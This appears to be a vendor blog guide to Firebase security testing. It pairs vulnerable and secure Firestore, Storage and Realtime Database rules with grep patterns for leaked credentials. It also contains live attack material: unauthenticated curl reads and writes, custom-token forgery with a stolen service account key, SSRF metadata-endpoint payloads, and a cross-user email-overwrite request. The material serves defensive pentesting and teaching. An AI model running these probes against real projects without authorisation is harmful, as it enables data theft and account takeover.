Firebase Security Testing: Firestore Rules, Authentication Bypass, and Storage Misconfigurations

Firebase has become one of the most widely deployed backend-as-a-service platforms, powering everything from hobby projects to production SaaS applications. Its appeal is real: you get a NoSQL database, authentication, file storage, and serverless functions all wired up with minimal infrastructure work. That same simplicity, however, creates a consistent pattern of security misconfigurations that turn up in penetration tests.

The risk model for Firebase differs from a traditional server-side application. Security rules live in configuration files rather than application code. API keys are intentionally public. Clients talk directly to the database without a server in the middle. Understanding these design choices — and where they go wrong — is essential for any security engineer testing a Firebase-backed application.

This guide covers the vulnerability classes most commonly found in Firebase deployments, with specific test commands, grep patterns for source code review, and the details needed to assess risk accurately.

Firestore Security Rules Misconfigurations

Firestore security rules are the primary access control mechanism for the database. They run on Google's servers and evaluate every read and write request. When they are misconfigured, the entire database may be accessible to anyone on the internet.

Critical: allow read, write: if true The default rules shown in Firebase's "get started" documentation grant full public access. Many projects ship with these rules unchanged.
// VULNERABLE — fully open database, anyone can read and write
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if true;
    }
  }
}

// MINIMUM — require authentication for all operations
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if request.auth != null;
    }
  }
}

Requiring authentication is necessary but not sufficient. Many rules authenticate the user but fail to verify ownership, allowing any authenticated user to read or modify any other user's data:

// VULNERABLE — authenticated but no ownership check
// Any logged-in user can read any other user's profile
match /users/{userId} {
  allow read, write: if request.auth != null;
}

// SECURE — user can only access their own document
match /users/{userId} {
  allow read, write: if request.auth != null
                     && request.auth.uid == userId;
}

Nested Document Access Beyond Intent

Wildcard rules in Firestore can grant access to subcollections that the developer did not intend to expose. The {document=**} wildcard matches all documents at all depths, while {document} matches only the current level:

// VULNERABLE — wildcard grants access to all subcollections
// Developer intended to protect only the top-level /invoices collection,
// but this rule also covers /invoices/{id}/line-items/{itemId}
match /invoices/{invoiceId=**} {
  allow read: if request.auth.uid == resource.data.ownerId;
}

// A rule on /invoices/{invoiceId} without ** only covers that document,
// leaving subcollections ungoverned — they fall through to a broader rule

// SECURE — explicitly govern subcollections
match /invoices/{invoiceId} {
  allow read: if request.auth.uid == resource.data.ownerId;

  match /line-items/{itemId} {
    allow read: if request.auth.uid == get(/databases/$(database)/documents/invoices/$(invoiceId)).data.ownerId;
  }
}

During a rules review, check for these patterns in firestore.rules:

# Find fully open rules
grep -n "allow read, write: if true" firestore.rules
grep -n "allow read: if true\|allow write: if true" firestore.rules

# Find rules that only check authentication without ownership
grep -A2 "allow read\|allow write" firestore.rules | grep "request.auth != null" | grep -v "request.auth.uid"

# Find recursive wildcards that may expose subcollections unintentionally
grep -n "document=\*\*" firestore.rules

Firebase Authentication Abuse

Firebase Authentication handles sign-in, token issuance, and user management. Several attack vectors target how applications implement and configure the authentication layer rather than the service itself.

Admin SDK Credentials in Client-Side Code

The Firebase Admin SDK uses a service account key with full administrative privileges over the Firebase project. This key must never appear in client-side code or be committed to version control. When it does, an attacker has unrestricted access to create users, issue arbitrary custom tokens, bypass all security rules, and access every Firestore document.

# Search for service account key patterns in source code
grep -rn "\"type\": \"service_account\"" .
grep -rn "private_key_id\|private_key" . --include="*.js" --include="*.ts" --include="*.json"
grep -rn "admin.initializeApp\|serviceAccount" . --include="*.js" --include="*.ts"

# Check git history for accidentally committed credentials
git log --all --full-history -- "**serviceAccount*"
git log --all --full-history -- "*firebase-adminsdk*"
git log -p --all | grep -A5 "private_key"

Custom Token Signing Key Exposure

Firebase custom tokens are signed JWTs. The Admin SDK signs them using the service account's private key. If the signing key is accessible, an attacker can forge tokens for any uid in the system — including admin accounts — and authenticate as that user with full access to all their data:

// If an attacker obtains the service account private key, they can forge tokens:
// 1. Create a custom token for any uid
const admin = require('firebase-admin');
admin.initializeApp({ credential: admin.credential.cert(stolenServiceAccount) });
const forgedToken = await admin.auth().createCustomToken('victim-uid');

// 2. Exchange the custom token for an ID token via the REST API
// POST https://identitytoolkit.googleapis.com/v1/accounts:signInWithCustomToken?key=API_KEY
// { "token": "<forgedToken>", "returnSecureToken": true }

// 3. Use the returned idToken to authenticate all subsequent Firestore/Storage requests

Email Enumeration via Sign-In Methods Endpoint

Firebase exposes a REST endpoint that returns which sign-in providers are registered for a given email address. This endpoint is unauthenticated and intended for the sign-in flow UI, but it also reliably confirms whether an email address is registered in the system:

# Enumerate email registration — 200 response with providers array = account exists
# 200 with empty providers array = account does not exist
curl -s -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "target@example.com", "continueUri": "https://example.com"}' | jq .

# Response when account EXISTS:
# { "allProviders": ["password"], "registered": true, ... }

# Response when account DOES NOT EXIST:
# { "registered": false, ... }

This behavior cannot be disabled through Firebase console settings. The fix requires adding rate limiting and CAPTCHA verification at the application level, or using Firebase App Check to restrict API access to verified clients.

Account Takeover via Unlinked OAuth Providers

When a Firebase project supports multiple sign-in methods (email/password, Google, GitHub, etc.) and does not enforce email verification, an attacker can register an email/password account for a victim's email address before the victim signs up via OAuth. Depending on the application's account-linking logic, this may allow the attacker to access the victim's eventual account:

# Test scenario:
# 1. Target application supports both Google OAuth and email/password sign-in
# 2. Victim has not yet created an account
# 3. Attacker registers email/password account for victim@example.com
# 4. Victim later signs in with Google (same email)
# 5. If the app auto-links accounts without verification, attacker's session persists

# Verify whether the app enforces email verification before account linking:
# - Sign up with email/password for a non-existent user
# - Check whether you can access resources without verifying the email address
# - Attempt Google OAuth sign-in with the same email and observe account-linking behaviour

Firebase Storage Bucket Access Control

Firebase Storage is backed by Google Cloud Storage. Like Firestore, it is governed by security rules — and it carries the same risk of misconfiguration. Additionally, the storage bucket name is exposed in client-side Firebase configuration, making it trivially discoverable.

FIREBASE_CONFIG exposes bucket name to anyone who loads the page Every Firebase web app ships the project configuration in the client bundle. The storageBucket value is always visible.
// Firebase config embedded in every web app — visible to anyone
const firebaseConfig = {
  apiKey: "AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  authDomain: "myapp.firebaseapp.com",
  projectId: "myapp",
  storageBucket: "myapp.appspot.com",   // bucket name is public information
  messagingSenderId: "123456789",
  appId: "1:123456789:web:abcdef"
};

With the bucket name known, the default Firebase Storage rules can be tested directly:

# Test unauthenticated read access to Firebase Storage
# Replace PROJECT_ID with the value from the client config

# List files in the root of the bucket (requires storage.objects.list on the bucket)
curl -s "https://firebasestorage.googleapis.com/v0/b/PROJECT_ID.appspot.com/o" | jq .

# Download a specific file without authentication
curl -s "https://firebasestorage.googleapis.com/v0/b/PROJECT_ID.appspot.com/o/uploads%2Fprofile.jpg?alt=media"

# Test unauthenticated upload
curl -s -X POST \
  "https://firebasestorage.googleapis.com/v0/b/PROJECT_ID.appspot.com/o?uploadType=media&name=test.txt" \
  -H "Content-Type: text/plain" \
  -d "pentest-marker" | jq .

The default Storage rules created by Firebase require authentication, but many projects relax them during development and forget to revert:

// VULNERABLE — anyone can read and write all files
rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read, write: if true;
    }
  }
}

// SECURE — authenticated users can only access their own files
rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /users/{userId}/{allPaths=**} {
      allow read, write: if request.auth != null
                         && request.auth.uid == userId;
    }
  }
}

Realtime Database Open Rules

Firebase Realtime Database (the original Firebase database, distinct from Firestore) uses JSON-based security rules. The legacy default rules grant full public read and write access — a configuration that has exposed millions of records over the years and continues to appear in security reports.

// VULNERABLE — default legacy rules, fully open
{
  "rules": {
    ".read": true,
    ".write": true
  }
}

// VULNERABLE — authenticated but no user scoping
{
  "rules": {
    ".read": "auth != null",
    ".write": "auth != null"
  }
}

// SECURE — users can only access their own subtree
{
  "rules": {
    "users": {
      "$uid": {
        ".read": "auth != null && auth.uid == $uid",
        ".write": "auth != null && auth.uid == $uid"
      }
    }
  }
}

Test Realtime Database access directly via the REST API:

# The Realtime Database URL is in the Firebase console and often in client config
# Format: https://PROJECT_ID-default-rtdb.firebaseio.com

# Test unauthenticated read — appending .json reads the entire database as JSON
curl -s "https://PROJECT_ID-default-rtdb.firebaseio.com/.json" | jq . | head -50

# Test a specific path
curl -s "https://PROJECT_ID-default-rtdb.firebaseio.com/users.json" | jq .

# Test unauthenticated write
curl -s -X PUT \
  "https://PROJECT_ID-default-rtdb.firebaseio.com/pentest-probe.json" \
  -d '"ironimo-test"'

# Clean up after testing
curl -s -X DELETE \
  "https://PROJECT_ID-default-rtdb.firebaseio.com/pentest-probe.json"

Client-Side Security Rules Enforcement Bypass

Firebase security rules are enforced server-side. However, some developers attempt to implement access control in client-side JavaScript — checking whether the user has permission before issuing the query. This provides zero security: any attacker can bypass client-side checks by issuing REST requests directly, ignoring the application UI entirely. The security rules in database.rules.json (or the Firebase console) are the only enforcement boundary that matters.

Firebase Hosting Configuration Issues

Firebase Hosting serves static assets and can route traffic to Cloud Functions. Misconfigurations in firebase.json can expose unintended endpoints or weaken browser security headers.

Rewrites Exposing Admin Functions

// firebase.json — VULNERABLE: catch-all rewrite exposes all Cloud Functions
{
  "hosting": {
    "rewrites": [
      { "source": "/api/**", "function": "api" },
      { "source": "**", "function": "app" }  // routes everything to the function
    ]
  }
}

// An attacker can probe admin function paths directly:
// GET https://myapp.web.app/admin/users
// GET https://myapp.web.app/internal/export
// These reach the Cloud Function — whether they are accessible depends on
// the function's own auth checks, not Firebase Hosting

Missing Security Headers

Firebase Hosting does not add security headers by default. Without explicit configuration in firebase.json, responses lack Content-Security-Policy, X-Frame-Options, X-Content-Type-Options, and Strict-Transport-Security:

// firebase.json — add security headers explicitly
{
  "hosting": {
    "headers": [
      {
        "source": "**",
        "headers": [
          { "key": "X-Content-Type-Options", "value": "nosniff" },
          { "key": "X-Frame-Options", "value": "DENY" },
          { "key": "Referrer-Policy", "value": "strict-origin-when-cross-origin" },
          { "key": "Permissions-Policy", "value": "geolocation=(), camera=(), microphone=()" },
          {
            "key": "Content-Security-Policy",
            "value": "default-src 'self'; script-src 'self' https://www.gstatic.com; connect-src 'self' https://*.firebaseio.com https://firestore.googleapis.com"
          },
          { "key": "Strict-Transport-Security", "value": "max-age=31536000; includeSubDomains" }
        ]
      }
    ]
  }
}

Test the headers on a live Firebase Hosting deployment:

# Check response headers — look for missing security headers
curl -sI https://myapp.web.app | grep -i "x-frame\|x-content\|content-security\|strict-transport\|referrer"

# If none of these appear, security headers are not configured

Cloud Functions Security

Firebase Cloud Functions are Node.js functions triggered by HTTP requests, Firestore events, authentication events, and more. HTTP-triggered functions are the highest-risk category from an external attacker's perspective.

HTTP-Triggered Functions Without Authentication

By default, a Firebase HTTP function deployed with functions.https.onRequest is publicly accessible to anyone who knows the URL. The URL follows a predictable pattern and is often logged or referenced in client-side code:

// VULNERABLE — no authentication check on an HTTP function
exports.exportUserData = functions.https.onRequest(async (req, res) => {
  const snapshot = await admin.firestore().collection('users').get();
  const users = snapshot.docs.map(doc => doc.data());
  res.json(users);  // dumps the entire users collection to any caller
});

// SECURE — verify Firebase ID token before processing the request
exports.exportUserData = functions.https.onRequest(async (req, res) => {
  const authHeader = req.headers.authorization || '';
  const token = authHeader.startsWith('Bearer ') ? authHeader.slice(7) : null;

  if (!token) {
    return res.status(401).json({ error: 'Unauthorized' });
  }

  try {
    const decoded = await admin.auth().verifyIdToken(token);
    if (!decoded.admin) {
      return res.status(403).json({ error: 'Forbidden' });
    }
    // proceed with admin operation
  } catch (e) {
    return res.status(401).json({ error: 'Invalid token' });
  }
});

Function URLs can be discovered from client bundles, JavaScript source maps, or by probing the predictable naming convention:

# Firebase function URL format
# https://REGION-PROJECT_ID.cloudfunctions.net/FUNCTION_NAME

# Search client-side JS for function URLs
grep -rn "cloudfunctions.net" . --include="*.js" --include="*.ts" --include="*.html"

# Probe common admin/internal function names
for fn in admin export backup migrate seed resetPasswords createAdmin deleteUser; do
  echo -n "$fn: "
  curl -s -o /dev/null -w "%{http_code}" \
    "https://us-central1-PROJECT_ID.cloudfunctions.net/$fn"
  echo
done

Environment Variables with Secrets via Metadata Endpoint

Firebase Functions configuration set with firebase functions:config:set is stored as environment variables and accessible to the function at runtime. These values are not encrypted at rest in all Firebase SDK versions and can sometimes be retrieved via the Google Cloud metadata endpoint from within the function — which becomes relevant if SSRF is possible:

# If you have SSRF within a Cloud Function, probe the metadata endpoint
# for the function's service account credentials and environment config
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# List environment variables (requires access to function runtime)
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/"

SSRF in Functions That Fetch URLs

Cloud Functions that accept a URL parameter and fetch remote content on behalf of the caller are vulnerable to SSRF. Inside Google Cloud infrastructure, the internal metadata endpoint is accessible and returns service account tokens:

// VULNERABLE — function fetches any URL provided by the caller
exports.fetchPreview = functions.https.onRequest(async (req, res) => {
  const url = req.query.url;
  const response = await fetch(url);  // SSRF — attacker can target metadata endpoint
  const data = await response.text();
  res.send(data);
});

// SSRF payloads for GCP Cloud Functions:
// http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
// http://169.254.169.254/computeMetadata/v1/
// http://metadata.google.internal/computeMetadata/v1/project/project-id

Firebase API Key Exposure

The Firebase apiKey is embedded in every client-side application by design. This is intentional and documented — the API key is not a secret. Its purpose is to identify the Firebase project, not to authorize privileged operations. Security rules and authentication govern actual access control.

That said, an exposed API key does enable several actions that should be understood:

The real risk is not the key itself but what a caller can do once they have it. Restrict API key usage in the Google Cloud Console to reduce the attack surface:

# Find the Firebase API key in client-side code
grep -rn "apiKey\s*:\s*\"AIza" . --include="*.js" --include="*.ts" --include="*.html" --include="*.env"

# Check whether the key is restricted to specific HTTP referrers or IP addresses:
# Google Cloud Console → APIs & Services → Credentials → select the key
# Verify: Application restrictions (HTTP referrers / IP addresses)
# Verify: API restrictions (limit to Firebase-specific APIs only)

# APIs to allow for a standard Firebase web app:
# - Firebase Management API
# - Identity Toolkit API
# - Token Service API
# Do NOT leave the key unrestricted ("Don't restrict key")

Testing Firebase with Postman and curl

A systematic Firebase security test starts with extracting the project configuration from the client bundle, then probing each service with unauthenticated and authenticated requests.

Step 1: Discover Project Configuration

# Find FIREBASE_CONFIG or firebaseConfig in loaded JavaScript
# In browser DevTools: Network tab → filter by "firebase" → inspect config payloads

# From the command line, if you have the source:
grep -rn "firebaseConfig\|FIREBASE_CONFIG\|storageBucket\|projectId" . \
  --include="*.js" --include="*.ts" --include="*.html" --include="*.env"

# Extract key values:
# projectId         → used in all API calls
# storageBucket     → Firebase Storage bucket
# apiKey            → used in REST API authentication calls
# authDomain        → PROJECT_ID.firebaseapp.com

Step 2: Enumerate Firestore Documents via REST API

# List all documents in a collection (unauthenticated)
curl -s \
  "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/COLLECTION_NAME" \
  | jq '.documents[].name'

# Read a specific document
curl -s \
  "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/users/USER_ID" \
  | jq .

# Run a query — list all documents where a field matches a value
curl -s -X POST \
  "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents:runQuery" \
  -H "Content-Type: application/json" \
  -d '{
    "structuredQuery": {
      "from": [{"collectionId": "users"}],
      "limit": 10
    }
  }' | jq .

Step 3: Test Rules with Authenticated Requests

# Obtain an ID token by signing in with email/password
TOKEN=$(curl -s -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"email":"test@example.com","password":"testpassword","returnSecureToken":true}' \
  | jq -r '.idToken')

echo "ID Token: $TOKEN"

# Read another user's document with your token
curl -s \
  "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/users/OTHER_USER_ID" \
  -H "Authorization: Bearer $TOKEN" \
  | jq .

# Attempt to write to another user's document
curl -s -X PATCH \
  "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/users/OTHER_USER_ID" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"fields":{"email":{"stringValue":"hacked@attacker.com"}}}' \
  | jq .

Firebase Security Testing Checklist

Test What to Look For Tool / Method
Firestore open rules allow read, write: if true curl Firestore REST API, firestore.rules grep
Missing ownership checks Auth required but no uid comparison Cross-user document read/write via REST
Admin SDK credential exposure service_account JSON in client code or git grep, git log, truffleHog
Email enumeration accounts:createAuthUri confirms registration curl identitytoolkit.googleapis.com
Storage open rules allow read, write: if true in storage.rules curl firebasestorage.googleapis.com
Realtime Database open .read: true, .write: true in database.rules curl PROJECT-default-rtdb.firebaseio.com/.json
Cloud Functions without auth onRequest handlers with no token verification Probe cloudfunctions.net endpoints directly
SSRF in Cloud Functions URL parameter fetched server-side metadata.google.internal payloads
Missing security headers No CSP, X-Frame-Options in firebase.json curl -sI, browser DevTools Security tab
API key restrictions Unrestricted key in Google Cloud Console Cloud Console → APIs & Services → Credentials

Ironimo runs Kali Linux-powered security scans that detect Firebase misconfigurations and authentication bypass vectors — the same techniques a professional pentester uses, available on demand.

Start free scan
← Back to blog